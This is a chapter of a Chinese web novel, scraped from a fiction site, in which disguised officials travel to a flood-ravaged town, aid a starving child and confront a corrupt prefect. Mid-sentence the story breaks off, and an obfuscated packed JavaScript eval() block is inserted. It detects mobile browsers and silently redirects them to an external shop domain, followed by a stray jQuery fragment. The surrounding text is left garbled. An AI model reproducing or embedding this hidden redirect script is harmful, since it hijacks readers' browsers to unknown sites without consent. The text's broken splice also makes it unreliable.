文趣网 > 都市小说 > 为搏丞相一笑(gb) > 12. 绕路
    晚霞漫天,倒映在水中,染红阵阵涟漪。船行至码头,四人带着包裹走下来,江试玉和无一手中各牵一匹马。

    “现下怕是租不到马车了,今日先找个客栈暂作休整,明日再出发。”沈让尘看了眼天色,转头对大家说。

    无一按照吩咐去购置衣裳物件,其余人先到客栈休整。

    饭后,沈逢安拿着手里的衣服,沉默一瞬问道:“我们,真的要穿,这样的衣服吗?”

    闻言,江试玉和无一也把目光投向沈让尘。

    沈让尘放下茶杯,温和地吐出三个字:“有意见?”

    沈逢安缩了缩脖子,不敢有。边上江试玉两人也默默移开目光。

    于是第二日清晨,穿着一身粗布衣裳的马车夫无一站在租来的马车前,身边坐着灰扑扑的跑腿小二沈逢安,等着暴发户掌柜沈让尘和账房先生江试玉登车。

    “凭什么我是跑腿的!”沈逢安指了指自己这身衣服上的补丁,愤愤不平道。

    “你会驾车还是会算账?”沈让尘反问。

    沈逢安想了想,自己哪个都不会,但是当掌柜的话,得跟很多人交流,自己会露馅的。罢了罢了,反正掌柜的衣服也不好看,沈逢安看着他哥一身宝蓝色长袍配大红腰带,安慰自己道。

    沈让尘抬腿上车,腰身挂着的许多玉饰丁铃作响,江试玉盯着那一溜的玉环玉佩香囊折扇,心道这些买来怕是拢共不超二两。

    沈让尘察觉到她直勾勾的视线,回眸一笑,优雅从容地拨了拨腰间玉饰:

    “出来一趟,能省一点是一点。”

    阳光自云层的缝隙倾斜,温暖的光晕笼罩在他身上,随风飘动的头发丝闪着光亮。管他什么假的真的,任何东西放他身上都像是珍品,江试玉想。

    无一一扯缰绳,马车缓缓启动。

    晴空万里,沈逢安坐在车头看着天边云卷云舒,心里的怒意瞬间消散。他好不容易远游一回,见到什么都觉得新鲜,这里指指那边看看,到最后连无一都忍不住道:

    “店小二,话不要这么多。”

    沈逢安怒了,他还没嫌无一这个当车夫的话少呢!正要同他掰扯两句,无一却突然紧拽缰绳,马车一个急刹骤然停下。

    离马车只有三尺的地方正跪着一个布衣小童,瞧那身形尚且年幼,却已是瘦骨嶙峋,衣衫褴褛。

    车厢内,江试玉跳下马车,沈让尘也跟在后头:

    “怎么了?”

    “前,前面跪了个人,幸好马车停得快。”

    沈逢安震惊了,哪有这般不要命的人,若是无一没注意,不就直直撞上去了吗,他想想那个场景就后怕。

    车前跪着的小童抬头,目光中满是惊惶,朝他们不断磕着头:“大人们赎罪!大人们赎罪!”

    “为何拦在车前?”江试玉上前问道。她目光扫过面前这小童,见他破旧的衣衫上沾满尘灰,瘦弱地身子瑟瑟发抖,还是皱了皱眉,轻轻将他扶起。

    那小童很是慌张,在四人的注视下结结巴巴,如实道来。

    他同母亲相依为命,如今母亲病重,急需药材续命,但南边水患后大多库房被淹,物资匮乏,米粮、药材的价格大涨,实在买不起。

    这几日家中早已揭不开锅,床榻上母亲仍在病痛中煎熬,饿得眼冒金星的他走投无路,只能上街乞讨。可路上只有些穷苦百姓,哪有人有余钱接济他。他绝望之中见这辆马车经过,一咬牙便扑到马车前头,若是被撞了便能得些养伤钱,正好给母亲抓药。

    沈让尘闻言皱眉,为搭救安成,周边地区会转运米粮等应急物资至此,知府也会下发救济金。

    不过,这运来的东西能不能到百姓手里,就不一定了。这也是他走陆路提前到达的目的,杀知府一个措手不及,防止他做些表面文章糊弄朝廷命官。

    他轻叹口气,命无一取了钱袋给他些买药钱。

    小童满是泥土的手捧着几串钱,感激地连磕好几个头,踉跄着跑去药材铺。

    “怎么会有这种事。”沈逢安在一边喃喃出声。他打小就在富贵窝里长大,京城又不准当街乞讨,自然没见过这种场景。

    沈让尘摇摇头,这种事往后会见得更多。还未靠近安成,便已是这幅景象,等真正到了灾患的中心,还不知会有多少民生疾苦,颠沛流离。

    接连几日,他们日夜兼程地赶路,总算窥见安成的城门。

    安成是南方华州府最富饶的县城,因着毗邻南北漕运的水道,商业兴盛,又有一定的田地能够自给自足,是以华州府的府衙便设在此处。

    突遭灾祸,华州府来往的人混杂,官吏又都被调去处理水患,城门口盘查松散,进城反倒容易许多。

    空气里弥漫着一股土腥味,潮湿的气息经久不散。原本宽敞明净的道路此刻泥泞不堪,低洼处积蓄起泥水。

    在马车又一次陷进泥里后,四个人决定放弃马车,徒步前往知府。

    江试玉看向路两边的房屋,墙皮发软脱落,面上留着明显的水渍,枯草混着淤泥攀附其上。一些商铺前设有临时搭建的粥铺,灾民正排着队领一碗粥喝。

    她经过时瞧了一眼,灾民们手里捧着的还不如说是清水,碗里只薄薄一层米,完全不能饱腹。也不知一人每天能领几回,她皱眉想着。

    他们又向前走了一段路,穿过面如土色的人群,来到田地边上。

    安成的田地被设在地

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769994|209868||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    处,连日暴雨激得河水暴涨后冲垮堤坝,第一步便是淹没低处的农田。田地边还有些房屋,半截墙体都被淹没。整个城里只有高处的房屋受损较少,只墙根被淹。

    田边便是河口,一群官吏打扮的人正厉声斥着,挥舞手中的鞭子,催促民夫快些劳作。

    江试玉看着那些背扛沙袋的瘦弱身影,皱眉问道:

    “这些人都如此瘦弱了,怎的还要干活?”

    沈让尘也板着脸,收起往日温和的笑来:“应是官府强征的。”

    看来安成的问题比他想的要更为严重。

    “走吧,去知府瞧瞧。”

    沈让尘深吸一口气,对众人说道。

    *

    知府。

    “大人,码头那边来人了,说是官船后日便到。”一小吏匆匆进了书房,神色恭敬地禀报。

    只见书房内陈设金贵,一张紫檀木案居中,沿墙布着通天落地的楠木书架,上头摆的大多是些古董珍玩,书籍在其中反倒成了点缀。

    刘仲从案前抬起头来,细长的眼微眯,眼尾细纹纵横:

    “叫各处做好准备,告诉底下的都收敛点。”

    “是。”小吏领命,垂头退出了房间。

    能做什么准备?自然是让那些粥铺多加些用料,田间地头增派官吏。

    此次派来的丞相去年刚上任,他尚不知底细,不过丝毫没有惧意。刘仲把玩着手中象牙笔杆,嘴角微微翘起。

    不过就是个毛头小子,哪能玩得过他,只面上不出错敷衍一阵便是。

    种种不堪疾苦都被挡在书房之外,房内碓金砌玉,香炉轻烟,呈一派岁月静好之象。

    只是当日下午,那小吏又神色慌张的前来。

    “大人,不,不好了!”

    刘仲正翻看前朝大师的画卷,正到要领之处,却被这小吏打搅。他头也不抬,不耐烦道:“慌慌张张的做什么?没看我有正事么。”

    “府门口有四人候着,说,说是前来督查的朝廷命官。”

    小吏急得咬牙,早晨才说官船两日后道,现下突有变故,刘大人定会迁怒于他,思及此处他后背也泛起冷汗来。

    刘仲听了皱眉,放下手中画卷:

    “怎会如此?”

    “那领头的人说是走陆路来的,小的查过那官帖,上头的红章盖的真真切切……”

    刘仲双眼瞪大,忽地起身。片刻神情又松缓下来,不过是个刚上任的新官,哪敢得罪他这个当了许多年的知府,日后让他表兄给他使个绊子便也够他吃一壶的了。

    他整了整衣冠,踏步出了书房,道:“将准备好的册子拿来,我去会会他。”小吏见状立马跟上。